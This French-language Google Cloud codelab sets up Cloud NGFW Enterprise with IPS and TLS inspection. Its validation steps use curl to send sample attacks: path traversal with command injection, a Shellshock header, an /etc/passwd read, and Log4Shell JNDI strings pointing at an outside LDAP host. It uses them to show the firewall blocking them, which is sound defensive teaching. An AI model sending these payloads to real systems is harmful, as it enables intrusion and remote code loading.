Atelier de programmation Cloud NGFW Enterprise [avec inspection TLS]

1. Introduction

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall est un service de pare-feu entièrement distribué offrant des fonctionnalités de protection avancées, une microsegmentation et une couverture omniprésente pour protéger vos charges de travail Google Cloud contre les attaques internes et externes.

Cloud NGFW présente les avantages suivants :

  • Service de pare-feu distribué : Cloud NGFW fournit une application basée sur l'hôte entièrement distribuée avec état pour chaque charge de travail afin d'offrir une architecture de sécurité zéro confiance.
  • Configuration et déploiement simplifiés : Cloud NGFW implémente des stratégies de réseau et de pare-feu hiérarchiques pouvant être associées à un nœud de la hiérarchie des ressources. Ces stratégies fournissent une expérience de pare-feu cohérente dans la hiérarchie des ressources Google Cloud.
  • Contrôle précis et microsegmentation : la combinaison des stratégies de pare-feu et des tags gérés par IAM (Identity and Access Management) offre un contrôle précis pour le trafic Nord-Sud et le trafic Est-Ouest sur une seule VM dans les réseaux de cloud privé virtuel (VPC) et les organisations.

Cloud NGFW est disponible dans les niveaux suivants :

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise ajoute le service de prévention des intrusions (IPS) et les fonctionnalités facultatives de bac à sable avancé pour les logiciels malveillants (WildFire), qui sont des services d'inspection de couche 7, à la structure distribuée du pare-feu Google Cloud. L'inspection TLS est compatible pour permettre une inspection approfondie et une analyse des fichiers pour le trafic chiffré TLS.

Vous pouvez désormais déployer des inspections fiables de pare-feu de nouvelle génération (NGFW) de couche 7 avec des contrôles précis, sans modifier l'architecture de votre réseau ni vos configurations de routage.

Pour activer et déployer le contrôle de pare-feu de couche 7 avec IPS et un bac à sable avancé pour les logiciels malveillants facultatif, vous devez effectuer les tâches suivantes :

  • Créez un ensemble de points de terminaison de pare-feu zonaux gérés par Google Cloud (en activant éventuellement le bac à sable avancé pour les logiciels malveillants).
  • Vous pouvez éventuellement créer une règle d'inspection TLS.
  • Créez une configuration de confiance (facultatif).
  • Associez ces points de terminaison aux réseaux de cloud privé virtuel (VPC) où vous avez besoin du service Cloud NGFW Enterprise.
  • Apportez des modifications simples à vos stratégies et règles de pare-feu existantes pour spécifier les profils de sécurité de prévention des menaces et de bac à sable avancé pour les logiciels malveillants (facultatif) pour les différents chemins de trafic.

Stratégies de pare-feu réseau

Une stratégie de pare-feu réseau fait office de conteneur pour les règles de pare-feu. Les règles définies dans une stratégie de pare-feu réseau ne sont appliquées nulle part tant que la stratégie n'est pas associée à un réseau VPC. Chaque réseau VPC peut être associé à une stratégie de pare-feu réseau. Les stratégies de pare-feu réseau sont compatibles avec les tags gérés par IAM (ou simplement "tags") dans les règles de pare-feu. Ces tags remplacent les tags réseau actuels et peuvent être utilisés pour fournir une identité à la charge de travail.

Le partage d'une stratégie de pare-feu réseau entre plusieurs réseaux et l'intégration avec les tags gérés par IAM simplifient considérablement la configuration et la gestion des pare-feu.

Avec l'introduction de la stratégie de pare-feu réseau, les stratégies de pare-feu de Google Cloud se composent désormais des éléments suivants :

  1. Stratégie de pare-feu hiérarchique
  2. Règles de pare-feu VPC
  3. Stratégie de pare-feu réseau ( globale et régionale)

Les stratégies de pare-feu hiérarchiques sont compatibles avec les nœuds d'organisation et de dossier de la hiérarchie des ressources, tandis que les règles de pare-feu VPC et les stratégies de pare-feu réseau sont appliquées au niveau du VPC. Il existe une différence majeure entre les règles de pare-feu VPC et les stratégies de pare-feu réseau : les règles de pare-feu VPC ne peuvent être appliquées qu'à un seul réseau VPC, tandis que les stratégies de pare-feu réseau peuvent être associées à un seul VPC ou à un groupe de VPC, entre autres avantages comme les mises à jour groupées.

Enfin, nous avons également les règles de pare-feu implicites qui sont fournies avec chaque réseau VPC :

  • Une règle de sortie dont l'action est "allow", dont la destination est 0.0.0.0/0
  • Une règle d'entrée dont l'action est "deny", dont la source est 0.0.0.0/0

Par défaut, la séquence d'application est illustrée dans le schéma suivant :

21b3bcabc469ffe.png

Notez que l'ordre d'application des règles de pare-feu VPC et de la stratégie de pare-feu réseau mondiale peut être inversé. Les clients peuvent spécifier l'ordre d'application à tout moment avec une commande gcloud.

Tags

Les nouveaux tags intégrés aux règles des stratégies de pare-feu réseau sont des ressources de paires clé-valeur définies au niveau de l'organisation ou du projet dans la hiérarchie des ressources Google Cloud. Un tel tag contient des contrôles d'accès IAM qui spécifient qui peut faire quoi sur le tag. Les autorisations Identity and Access Management (IAM), par exemple, permettent de spécifier les principaux qui peuvent attribuer des valeurs aux tags et ceux qui peuvent associer des tags aux ressources. Si une règle de pare-feu réseau fait référence à un tag, elle doit être appliquée à une ressource pour être appliquée.

Les tags respectent le modèle de ressource d'héritage de Google Cloud, ce qui signifie que les tags et leurs valeurs sont transmis dans la hiérarchie depuis leurs parents. Par conséquent, les tags peuvent être créés à un emplacement, puis utilisés par d'autres dossiers et projets dans toute la hiérarchie de ressources. Pour en savoir plus sur les tags et la restriction des accès, consultez cette page.

Vous ne devez pas confondre les tags avec les tags réseau. Les tags réseau sont des chaînes pouvant être ajoutées aux instances Compute Engine. Ils sont associés à l'instance et disparaissent lorsque celle-ci est mise hors service. Les règles de pare-feu VPC peuvent inclure des tags réseau, mais comme ils ne sont pas considérés comme des ressources cloud, ils ne sont pas soumis au contrôle des accès IAM.

Notez que les termes "tags" et "tags régis par IAM" sont utilisés de manière interchangeable dans ce document.

Objectifs de l'atelier

Pour cet atelier de programmation, vous n'avez besoin que d'un seul projet, et vous devez pouvoir créer un réseau VPC et gérer un certain nombre de ressources réseau et de sécurité. Il vous montrera comment Cloud NGFW Enterprise peut fournir des fonctionnalités d'IPS et de bac à sable avancé pour les logiciels malveillants (WildFire) en :

  • Inspecter les flux Internet sortants avec l'inspection TLS
  • Inspecter les flux intra-VPC [Est-Ouest] avec l'inspection TLS
  • [Facultatif] Configurer et valider l'envoi de fichiers et l'analyse du bac à sable avancé pour les logiciels malveillants pour les menaces inconnues basées sur des fichiers sur le trafic inspecté par TLS

Les flux à inspecter seront sélectionnés à l'aide des paramètres de correspondance Cloud Firewall, y compris le hachage à cinq tuples (adresse IP source, adresse IP de destination, protocole, port source, port de destination) et les tags.

3d0f288d3b92a295.png

L'état final de la base de règles de la stratégie de pare-feu réseau sera semblable au tableau ci-dessous :

Priorité

Sens

Cible

Source

Destination

Action

Type

100

Entrée

Server_Tag

Vérifications d'état

Tous

Autoriser

Essentials

200

Entrée

Client_Tag, Server_Tag

IAP

Tous

Autoriser

Essentials

800

Entrée

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspection L7

Entreprise

850

Sortie

Client_Tag

Tous

10.0.0.0/24

Autoriser

Essentials

900

Sortie

Client_Tag

Tous

Tous

Inspection L7

Entreprise

Points abordés

  • Créer une stratégie de pare-feu réseau
  • Créer et utiliser des tags avec une stratégie de pare-feu réseau
  • Configurer et utiliser Cloud NGFW Enterprise avec l'inspection TLS
  • [Facultatif] Configurer et valider le bac à sable avancé pour les logiciels malveillants (WildFire) pour les menaces inconnues basées sur des fichiers

Prérequis

  • Projet Google Cloud.
  • Savoir déployer des instances et configurer des composants réseau.
  • Connaissances sur la configuration des pare-feu VPC

2. Avant de commencer

Créer/Mettre à jour des variables

Cet atelier de programmation utilise des variables $ pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.

Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets si nécessaire :

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Activer les API

Si vous ne l'avez pas déjà fait, activez les API :

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Création d'un point de terminaison Cloud NGFW Enterprise

La création du point de terminaison Cloud NGFW Enterprise prend environ 20 minutes. Il sera donc créé en premier, et la configuration de base pourra être effectuée en parallèle pendant la création du point de terminaison.

Créez le profil de sécurité et le groupe de profils de sécurité :

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Résultat attendu :

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Vérifiez que les ressources ont bien été créées :

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Créez le point de terminaison Cloud NGFW Enterprise :

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Exécutez la commande ci-dessous pour vérifier que le point de terminaison est en cours de création (CREATING) ou qu'il est ACTIF si vous avez utilisé --no-async.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus de détails :

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Le processus de création prend environ 20 minutes. Passez à la section "Configuration de base" pour créer les ressources requises en parallèle.

5. Configuration de base

Réseau et sous-réseau VPC

Réseau VPC et sous-réseau

Créez le réseau et le sous-réseau VPC :

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Créez le routeur Cloud Router et la passerelle Cloud NAT :

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

Créez les instances client et serveur Web :

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tags au niveau du projet

Attribuez l'autorisation tagAdmin à l'utilisateur si nécessaire :

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Créez la clé et les valeurs de tag au niveau du projet :

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Liez les tags aux instances :

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Stratégie de pare-feu réseau globale

Créez une stratégie de pare-feu réseau mondiale :

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Créez les règles Cloud Firewall Essential requises pour autoriser le trafic provenant des plages de vérification d'état et d'Identity-Aware Proxy :

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Créez les règles Cloud Firewall requises pour autoriser le trafic d'entrée est-ouest/intra-sous-réseau provenant des plages spécifiques (ces règles seront mises à jour pour activer Cloud NGFW Enterprise avec l'inspection TLS) :

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associez la stratégie de pare-feu cloud au réseau VPC :

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Association de point de terminaison Cloud Firewall

Définissez les variables d'environnement si vous ne l'avez pas encore fait et/ou si vous avez préféré l'approche par script.

Vérifiez que le point de terminaison Cloud Firewall a bien été créé. Ne continuez que lorsque l'état est ACTIVE (pendant la création, l'état attendu est CREATING) :

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé) :

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus de détails :

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Associez le point de terminaison Cloud Firewall au réseau VPC :

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Le processus d'association prend environ 10 minutes. Ne passez à la section TLS que lorsque l'état est ACTIVE (pendant la création, l'état attendu est CREATING) :

gcloud network-security firewall-endpoint-associations list

Résultat attendu une fois l'opération terminée :

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus de détails :

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Résultat attendu :

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configurer les ressources TLS

Créer un pool d'autorités de certification Cette ressource servira à héberger le certificat CA racine que nous générons pour NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Créez l'autorité de certification racine. Il s'agit du certificat CA qui sera utilisé pour signer des certificats supplémentaires pour les requêtes via NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Si le message ci-dessous s'affiche, répondez y :

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Créez un compte de service. Ce compte de service sera utilisé pour demander des certificats pour NGFW Enterprise :

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Définissez les autorisations IAM pour le compte de service :

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Créez le fichier YAML de la règle TLS. Ce fichier contiendra des informations sur les ressources spécifiques :

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importez la règle d'inspection TLS :

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Mettez à jour l'association de points de terminaison pour activer TLS :

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Obtenez le certificat CA et ajoutez-le au magasin d'autorités de certification du client :

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transférez le certificat CA au client :

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Connectez-vous en SSH à la VM, déplacez le certificat CA vers /usr/local/share/ca-certificates et mettez à jour le magasin de CA :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Revenez à Cloud Shell.

Processus de signature du certificat du serveur :

Dans Cloud Shell, installez la bibliothèque de chiffrement Pyca à l'aide de la commande pip :

pip install --user "cryptography>=2.2.0"

Pour permettre au SDK Google Cloud d'utiliser la bibliothèque de chiffrement Pyca, vous devez activer les packages de site.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Créez le certificat de serveur :

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Cela générera un fichier cert.pem et un fichier key.pem dans Cloud Shell. Ensuite, transférez le certificat et la clé vers le serveur.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Connectez-vous au serveur via SSH pour mettre à jour les détails du certificat pour Apache :

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Déplacez le certificat et la clé dans un dossier spécifique :

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Mettez à jour la configuration SSL pour utiliser le certificat signé :

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Redémarrez Apache :

sudo systemctl restart apache2

Vérifiez l'état d'Apache :

sudo systemctl status apache2

Il doit être actif (en cours d'exécution).

Quittez la VM et continuez dans Cloud Shell.

8. Valider la connectivité Northbound et E/W

Exécutez les commandes ci-dessous dans Cloud Shell et notez les adresses IP cibles à utiliser :

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Ouvrez un nouvel onglet et lancez une connexion SSH à la VM cliente via IAP (vous devrez définir les variables dans le nouvel onglet) :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Exécutez les commandes ci-dessous et notez les adresses IP cibles à utiliser. Créez les variables en remplaçant les valeurs entre crochets par les adresses IP notées à l'étape précédente, et assurez-vous qu'elles sont accessibles :

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Exécutez une commande curl sur l'adresse IP privée et assurez-vous qu'elle est accessible :

curl https://$target_privateip --max-time 2

Résultats attendus pour la requête curl :

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Envoyez des exemples d'attaques à l'adresse IP. Le serveur Web doit répondre à toutes les requêtes, confirmant qu'aucune inspection/prévention de couche 7 n'est en place :

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Exemple de résultats attendus (adresse IP privée) :

400
404
400
200
200

De même, envoyez des requêtes à une destination Internet :

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Exemple de résultats attendus (destination Internet) :

400
404
400
403
403

Quittez le terminal de la VM et revenez à Cloud Shell.

9. Créer et mettre à jour des règles de pare-feu pour l'inspection TLS

Nous avons précédemment configuré une règle de pare-feu pour autoriser le trafic entrant vers notre serveur à partir du sous-réseau interne. Nous allons maintenant mettre à jour les règles d'entrée existantes et définir l'action sur apply_security_profile_group. Cela activera l'inspection L7 E/W avec TLS :

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Créez une règle pour inspecter le trafic L7 nord-sud avec TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Créez une règle pour autoriser le trafic SORTANT pour le trafic est-ouest afin d'éviter une double inspection.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Valider l'inspection TLS northbound

Revenez à l'onglet de la VM cliente ou reconnectez-vous :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envoyez les exemples d'attaques vers une destination Internet :

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Aucune réponse n'est reçue, comme l'indique le résultat attendu ci-dessous, ce qui confirme que les exemples d'attaques sont désormais bloqués :

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Définissez la variable sur l'adresse IP du serveur que vous avez obtenue précédemment :

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Envoyez des exemples de requêtes TLS au serveur :

curl https://$target_privateip --max-time 2

Résultat attendu :

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Pourquoi cette demande a-t-elle échoué ? En effet, le pare-feu reçoit un certificat du serveur qui n'est pas approuvé. Si cela se produit, il transmet un certificat autosigné au client. Nous devons ajouter le certificat CA dans une configuration de confiance pour activer la confiance.

Revenez à Cloud Shell.

11. Configurer la configuration de confiance

Obtenez le certificat CA racine et définissez-le comme variable avec le format approprié.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configurez le fichier YAML de configuration de confiance. Ce fichier contient des détails sur la confiance, tels que les certificats CA :

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Les commandes ci-dessus incluaient votre certificat CA racine dans le magasin de confiance, car votre certificat de serveur a été signé à l'aide de la CA racine. Cela signifie que le pare-feu fera confiance à tous les certificats qu'il reçoit et qui ont été signés par votre autorité de certification racine, en plus des autorités de certification publiques si votre règle TLS a défini excludePublicCaSet sur "false".

Vérifiez le contenu de la configuration de confiance.

cat trust_config.yaml 

Exemple de résultat :

Portez une attention particulière à l'alignement du retrait du certificat. Il doit respecter exactement ce format.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
